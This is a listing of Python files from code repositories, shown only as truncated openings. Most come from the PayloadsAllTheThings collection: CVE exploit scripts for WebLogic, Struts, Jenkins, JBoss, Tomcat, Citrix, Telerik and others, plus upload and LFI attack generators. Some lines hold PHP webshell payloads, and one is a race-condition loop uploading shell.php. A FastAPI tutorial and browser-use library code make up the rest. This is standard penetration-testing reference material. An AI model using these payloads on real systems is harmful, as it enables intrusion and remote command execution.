https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/response_cookies/tutorial002_py39.py
docs_src/response_cookies/tutorial002_py39.py
from fastapi import FastAPI, Response app = FastAPI() @app.post("/cookie-and-object/") def create_cookie(response: Response): response.set_cookie(key="fakesession", value="fake-cookie-session-value") return {"message": "Come to the dark side, we have cookies"}
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/WebSphere CVE-2015-7450.py
CVE Exploits/WebSphere CVE-2015-7450.py
#! /usr/bin/env python2 #IBM WebSphere Java Object Deserialization RCE (CVE-2015-7450) #Based on the nessus plugin websphere_java_serialize.nasl #Made with <3 by @byt3bl33d3r from __future__ import print_function from builtins import chr import requests from requests.packages.urllib3.exceptions import InsecureRequest...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Docker API RCE.py
CVE Exploits/Docker API RCE.py
from __future__ import print_function import requests import logging import json import urllib.parse # NOTE # Enable Remote API with the following command # /usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock # This is an intended feature, remember to filter the port 2375.. name = "docker" ...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/WebLogic CVE-2018-2894.py
CVE Exploits/WebLogic CVE-2018-2894.py
#!/usr/bin/env python # coding:utf-8 # Build By LandGrey from __future__ import print_function from builtins import str import re import sys import time import argparse import requests import traceback import xml.etree.ElementTree as ET def get_current_work_path(host): geturl = host + "/ws_utc/resources/setting/...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Shellshock CVE-2014-6271.py
CVE Exploits/Shellshock CVE-2014-6271.py
#!/usr/bin/python # Successful Output: # # python shell_shocker.py <VulnURL> # [+] Attempting Shell_Shock - Make sure to type full path # ~$ /bin/ls / # bin # boot # dev # etc # .. # ~$ /bin/cat /etc/passwd from __future__ import print_function from future import standard_library standard_library.install_aliases() fr...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Apache Struts 2 CVE-2018-11776.py
CVE Exploits/Apache Struts 2 CVE-2018-11776.py
#!/usr/bin/env python3 # coding=utf-8 # ***************************************************** # struts-pwn: Apache Struts CVE-2018-11776 Exploit # Author: # Mazin Ahmed <Mazin AT MazinAhmed DOT net> # This code uses a payload from: # https://github.com/jas502n/St2-057 # *************************************************...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py
CVE Exploits/Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py
#!/usr/bin/python from __future__ import print_function from future import standard_library standard_library.install_aliases() from builtins import input from builtins import str import urllib.request, urllib.error, urllib.parse import time import sys import os import subprocess import requests import readline import ...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/JBoss CVE-2015-7501.py
CVE Exploits/JBoss CVE-2015-7501.py
#! /usr/bin/env python2 # Jboss Java Deserialization RCE (CVE-2015-7501) # Made with <3 by @byt3bl33d3r from __future__ import print_function import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) import argparse impo...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Jenkins Groovy Console.py
CVE Exploits/Jenkins Groovy Console.py
#!/usr/bin/env python # SRC: https://raw.githubusercontent.com/bl4de/security-tools/master/jgc.py # DOC: https://medium.com/@_bl4de/remote-code-execution-with-groovy-console-in-jenkins-bd6ef55c285b from __future__ import print_function from builtins import input import requests import sys print(""" Jenkins Groovy Cons...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Tomcat CVE-2017-12617.py
CVE Exploits/Tomcat CVE-2017-12617.py
#!/usr/bin/python # From https://github.com/cyberheartmi9/CVE-2017-12617/blob/master/tomcat-cve-2017-12617.py """ ./cve-2017-12617.py [options] options: -u ,--url [::] check target url if it's vulnerable -p,--pwn [::] generate webshell and upload it -l,--list [::] hosts list [+]usage: ./cve-2017-12617.py -u htt...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Heartbleed CVE-2014-0160.py
CVE Exploits/Heartbleed CVE-2014-0160.py
#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 originally by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. # Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin) from __future__ import print_function f...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/WebLogic CVE-2017-10271.py
CVE Exploits/WebLogic CVE-2017-10271.py
from __future__ import print_function from builtins import input import requests import sys url_in = sys.argv[1] payload_url = url_in + "/wls-wsat/CoordinatorPortType" payload_header = {'content-type': 'text/xml'} def payload_command (command_in): html_escape_table = { "&": "&amp;", '"': "&quot;"...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Citrix CVE-2019-19781.py
CVE Exploits/Citrix CVE-2019-19781.py
#!/usr/bin/env python # https://github.com/mpgn/CVE-2019-19781 # # # import requests import string import random import re import sys from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) print("CVE-2019-19781 - Remote Code Execution...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Jenkins CVE-2016-0792.py
CVE Exploits/Jenkins CVE-2016-0792.py
#! /usr/bin/env python2 #Jenkins Groovy XML RCE (CVE-2016-0792) #Note: Although this is listed as a pre-auth RCE, during my testing it only worked if authentication was disabled in Jenkins #Made with <3 by @byt3bl33d3r from __future__ import print_function import requests from requests.packages.urllib3.exceptions imp...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Jenkins CVE-2015-8103.py
CVE Exploits/Jenkins CVE-2015-8103.py
#! /usr/bin/env python2 #Jenkins CLI RMI Java Deserialization RCE (CVE-2015-8103) #Based on the PoC by FoxGlove Security (https://github.com/foxglovesec/JavaUnserializeExploits) #Made with <3 by @byt3bl33d3r from __future__ import print_function import requests from requests.packages.urllib3.exceptions import Insecur...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Apache Struts 2 CVE-2017-9805.py
CVE Exploits/Apache Struts 2 CVE-2017-9805.py
#!/usr/bin/env python3 # coding=utf-8 # ***************************************************** # struts-pwn: Apache Struts CVE-2017-9805 Exploit # Author: # Mazin Ahmed <Mazin AT MazinAhmed DOT net> # This code is based on: # https://github.com/rapid7/metasploit-framework/pull/8924 # https://techblog.mediaservice.net/20...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/WebLogic CVE-2016-3510.py
CVE Exploits/WebLogic CVE-2016-3510.py
#!/usr/bin/env python2 #Oracle WebLogic Server Java Object Deserialization RCE (CVE-2016-3510) #Based on the PoC by FoxGlove Security (https://github.com/foxglovesec/JavaUnserializeExploits) #Made with <3 by @byt3bl33d3r from __future__ import print_function import socket import struct import argparse import os impor...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Telerik CVE-2019-18935.py
CVE Exploits/Telerik CVE-2019-18935.py
#!/usr/bin/env python3 # origin : https://github.com/noperator/CVE-2019-18935 # INSTALL: # git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935 # python3 -m venv env # source env/bin/activate # pip3 install -r requirements.txt # Import encryption routines. from sys import path path.insert...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/CVE Exploits/Telerik CVE-2017-9248.py
CVE Exploits/Telerik CVE-2017-9248.py
# Author: Paul Taylor / @bao7uo # https://github.com/bao7uo/dp_crypto/blob/master/dp_crypto.py # dp_crypto - CVE-2017-9248 exploit # Telerik.Web.UI.dll Cryptographic compromise # Warning - no cert warnings, # and verify = False in code below prevents verification import sys import base64 import requests import re i...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/Web Sockets/Files/ws-harness.py
Web Sockets/Files/ws-harness.py
#!/usr/bin/python from __future__ import print_function import socket,ssl from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer from websocket import create_connection, WebSocket from urlparse import parse_qs import argparse import os LOOP_BACK_PORT_NUMBER = 8000 def FuzzWebSocket(fuzz_value): print(fuzz_v...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/Upload Insecure Files/CVE FFmpeg HLS/gen_avi_bypass.py
Upload Insecure Files/CVE FFmpeg HLS/gen_avi_bypass.py
import struct import argparse AVI_HEADER = b"RIFF\x00\x00\x00\x00AVI LIST\x14\x01\x00\x00hdrlavih8\x00\x00\x00@\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/Upload Insecure Files/CVE FFmpeg HLS/gen_xbin_avi.py
Upload Insecure Files/CVE FFmpeg HLS/gen_xbin_avi.py
#!/usr/bin/env python3 from builtins import bytes from builtins import map from builtins import zip from builtins import range import struct import argparse import random import string AVI_HEADER = b"RIFF\x00\x00\x00\x00AVI LIST\x14\x01\x00\x00hdrlavih8\x00\x00\x00@\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/Upload Insecure Files/Picture Compression/createBulletproofJPG.py
Upload Insecure Files/Picture Compression/createBulletproofJPG.py
#!/usr/bin/python """ Bulletproof Jpegs Generator Copyright (C) 2012 Damien "virtualabs" Cauquil This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License,...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/Upload Insecure Files/Configuration Python __init__.py/python-generate-init.py
Upload Insecure Files/Configuration Python __init__.py/python-generate-init.py
# Generating "evil" zip file # Based on the work of Ajin Abraham # Vuln website : https://github.com/ajinabraham/bad_python_extract # More info : https://ajinabraham.com/blog/exploiting-insecure-file-extraction-in-python-for-code-execution # Warning 1: need a restart from the server OR debug=True # Warning 2: you won'...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/Upload Insecure Files/Picture Metadata/Build_image_to_LFI.py
Upload Insecure Files/Picture Metadata/Build_image_to_LFI.py
from __future__ import print_function from PIL import Image # Shellcodes - Bypass included : Keyword Recognition : System, GET, php # --- How to use : http://localhost/shell.php?c=echo%20'<pre>';ls #shellcode = "<?=@`$_GET[c]`;" shellcode = "<?php system($_GET['c']); ?>" # --- How to use : http://localhost/shell.php...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/Server Side Request Forgery/Files/ip.py
Server Side Request Forgery/Files/ip.py
#!/usr/bin/python # coding=utf-8 # https://raw.githubusercontent.com/cujanovic/SSRF-Testing/master/ip.py from __future__ import print_function from builtins import oct from builtins import str from builtins import hex from builtins import range from random import * from io import open import datetime import string impo...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
true
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/File Inclusion/Files/LFI2RCE.py
File Inclusion/Files/LFI2RCE.py
import requests url = "http://localhost:8000/chall.php" file_to_use = "/etc/passwd" command = "id" #<?=`$_GET[0]`;;?> base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4" conversions = { 'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2', 'B': 'convert.ico...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/File Inclusion/Files/phpinfolfi.py
File Inclusion/Files/phpinfolfi.py
#!/usr/bin/python # https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf # The following line is not required but supposedly optimizes code. # However, this breaks on some Python 2 installations, where the future module version installed is > 0.16. This can be a pain to revert. # ...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/File Inclusion/Files/uploadlfi.py
File Inclusion/Files/uploadlfi.py
from __future__ import print_function from builtins import range import itertools import requests import string import sys print('[+] Trying to win the race') f = {'file': open('shell.php', 'rb')} for _ in range(4096 * 4096): requests.post('http://target.com/index.php?c=index.php', f) print('[+] Bruteforcing the...
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
browser-use/browser-use
https://github.com/browser-use/browser-use/blob/630f85dd05127c9d42810a5db235a14f5bac9043/browser_use/init_cmd.py
browser_use/init_cmd.py
""" Standalone init command for browser-use template generation. This module provides a minimal command-line interface for generating browser-use templates without requiring heavy TUI dependencies. """ import json import shutil import sys from pathlib import Path from typing import Any from urllib import request from...
python
MIT
630f85dd05127c9d42810a5db235a14f5bac9043
2026-01-04T14:38:16.467592Z
false
browser-use/browser-use
https://github.com/browser-use/browser-use/blob/630f85dd05127c9d42810a5db235a14f5bac9043/browser_use/logging_config.py
browser_use/logging_config.py
import logging import os import sys from pathlib import Path from dotenv import load_dotenv load_dotenv() from browser_use.config import CONFIG def addLoggingLevel(levelName, levelNum, methodName=None): """ Comprehensively adds a new logging level to the `logging` module and the currently configured logging cla...
python
MIT
630f85dd05127c9d42810a5db235a14f5bac9043
2026-01-04T14:38:16.467592Z
false
browser-use/browser-use
https://github.com/browser-use/browser-use/blob/630f85dd05127c9d42810a5db235a14f5bac9043/browser_use/cli.py
browser_use/cli.py
# pyright: reportMissingImports=false # Check for MCP mode early to prevent logging initialization import sys if '--mcp' in sys.argv: import logging import os os.environ['BROWSER_USE_LOGGING_LEVEL'] = 'critical' os.environ['BROWSER_USE_SETUP_LOGGING'] = 'false' logging.disable(logging.CRITICAL) # Special case:...
python
MIT
630f85dd05127c9d42810a5db235a14f5bac9043
2026-01-04T14:38:16.467592Z
true
browser-use/browser-use
https://github.com/browser-use/browser-use/blob/630f85dd05127c9d42810a5db235a14f5bac9043/browser_use/observability.py
browser_use/observability.py
# @file purpose: Observability module for browser-use that handles optional lmnr integration with debug mode support """ Observability module for browser-use This module provides observability decorators that optionally integrate with lmnr (Laminar) for tracing. If lmnr is not installed, it provides no-op wrappers tha...
python
MIT
630f85dd05127c9d42810a5db235a14f5bac9043
2026-01-04T14:38:16.467592Z
false
browser-use/browser-use
https://github.com/browser-use/browser-use/blob/630f85dd05127c9d42810a5db235a14f5bac9043/browser_use/exceptions.py
browser_use/exceptions.py
class LLMException(Exception): def __init__(self, status_code, message): self.status_code = status_code self.message = message super().__init__(f'Error {status_code}: {message}')
python
MIT
630f85dd05127c9d42810a5db235a14f5bac9043
2026-01-04T14:38:16.467592Z
false
browser-use/browser-use
https://github.com/browser-use/browser-use/blob/630f85dd05127c9d42810a5db235a14f5bac9043/browser_use/utils.py
browser_use/utils.py
import asyncio import logging import os import platform import re import signal import time from collections.abc import Callable, Coroutine from fnmatch import fnmatch from functools import cache, wraps from pathlib import Path from sys import stderr from typing import Any, ParamSpec, TypeVar from urllib.parse import u...
python
MIT
630f85dd05127c9d42810a5db235a14f5bac9043
2026-01-04T14:38:16.467592Z
false
browser-use/browser-use
https://github.com/browser-use/browser-use/blob/630f85dd05127c9d42810a5db235a14f5bac9043/browser_use/config.py
browser_use/config.py
"""Configuration system for browser-use with automatic migration support.""" import json import logging import os from datetime import datetime from functools import cache from pathlib import Path from typing import Any from uuid import uuid4 import psutil from pydantic import BaseModel, ConfigDict, Field from pydant...
python
MIT
630f85dd05127c9d42810a5db235a14f5bac9043
2026-01-04T14:38:16.467592Z
false
browser-use/browser-use
https://github.com/browser-use/browser-use/blob/630f85dd05127c9d42810a5db235a14f5bac9043/browser_use/__init__.py
browser_use/__init__.py
import os from typing import TYPE_CHECKING from browser_use.logging_config import setup_logging # Only set up logging if not in MCP mode or if explicitly requested if os.environ.get('BROWSER_USE_SETUP_LOGGING', 'true').lower() != 'false': from browser_use.config import CONFIG # Get log file paths from config/envir...
python
MIT
630f85dd05127c9d42810a5db235a14f5bac9043
2026-01-04T14:38:16.467592Z
false
browser-use/browser-use
https://github.com/browser-use/browser-use/blob/630f85dd05127c9d42810a5db235a14f5bac9043/browser_use/controller/__init__.py
browser_use/controller/__init__.py
from browser_use.tools.service import Controller __all__ = ['Controller']
python
MIT
630f85dd05127c9d42810a5db235a14f5bac9043
2026-01-04T14:38:16.467592Z
false
browser-use/browser-use
https://github.com/browser-use/browser-use/blob/630f85dd05127c9d42810a5db235a14f5bac9043/browser_use/tools/views.py
browser_use/tools/views.py
from typing import Generic, TypeVar from pydantic import BaseModel, ConfigDict, Field # Action Input Models class ExtractAction(BaseModel): query: str extract_links: bool = Field( default=False, description='Set True to true if the query requires links, else false to safe tokens' ) start_from_char: int = Field...
python
MIT
630f85dd05127c9d42810a5db235a14f5bac9043
2026-01-04T14:38:16.467592Z
false
browser-use/browser-use
https://github.com/browser-use/browser-use/blob/630f85dd05127c9d42810a5db235a14f5bac9043/browser_use/tools/service.py
browser_use/tools/service.py
import asyncio import json import logging import os from typing import Generic, TypeVar try: from lmnr import Laminar # type: ignore except ImportError: Laminar = None # type: ignore from pydantic import BaseModel from browser_use.agent.views import ActionModel, ActionResult from browser_use.browser import Browse...
python
MIT
630f85dd05127c9d42810a5db235a14f5bac9043
2026-01-04T14:38:16.467592Z
true